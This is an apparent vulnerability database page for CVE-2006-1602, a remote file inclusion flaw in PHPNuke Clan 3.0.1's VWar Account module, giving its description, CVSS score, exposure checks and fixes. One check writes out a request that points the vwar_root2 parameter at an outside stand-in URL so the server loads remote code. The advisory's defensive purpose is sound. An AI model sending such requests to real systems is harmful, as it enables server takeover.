CVE-2006-1602
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedPHP remote file inclusion vulnerability in includes/functions_common.php in the VWar Account module (vWar_Account) in PHPNuke Clan 3.0.1 allows remote attackers to include arbitrary files via a URL in the vwar_root2 parameter. NOTE: it is possible that this issue stems from a problem in VWar itself, but this is not clear.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceRemote file inclusion vulnerability in PHPNuke Clan 3.0.1's VWar Account module allows attackers to inject arbitrary PHP code by supplying a malicious URL in the vwar_root2 parameter to includes/functions_common.php, leading to full server compromise.
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Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 3.0.1CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
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Confirm PHPNuke Clan installation and versionLocate the PHPNuke Clan installation directory and check for version identification files such as version.php, or look for version strings in the main index.php or config.php filesAffected if The installed version is exactly 3.0.1
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Verify VWar Account module presenceCheck for the existence of the VWar module directory within the PHPNuke Clan installation, typically found under modules/ or a dedicated vwar/ folderAffected if The VWar Account module is installed and enabled on the system
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Locate vulnerable file functions_common.phpSearch for includes/functions_common.php within the PHPNuke Clan web root directory and verify it existsAffected if The file includes/functions_common.php exists in the installation
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Test for accessible vwar_root2 parameterAttempt to access the vulnerable script directly via HTTP by supplying an external URL to the vwar_root2 parameter, for example: GET /includes/functions_common.php?vwar_root2=http://example.com/maliciousAffected if The script processes the vwar_root2 parameter without proper validation and allows external URL inclusion
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Check PHP allow_url_include settingInspect the PHP configuration file (php.ini) or run phpinfo() to determine if allow_url_include is enabledAffected if allow_url_include is set to On in PHP configuration, enabling the RFI attack vector
The system is affected if PHPNuke Clan version 3.0.1 is installed with the VWar Account module, the includes/functions_common.php file exists, and the vwar_root2 parameter can accept external URLs, especially if allow_url_include is enabled in PHP.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataDisable allow_url_include in php.ini and implement strict input validation on the vwar_root2 parameter using an allowlist approach to prevent URL-based file inclusion attacks.
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References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
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The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
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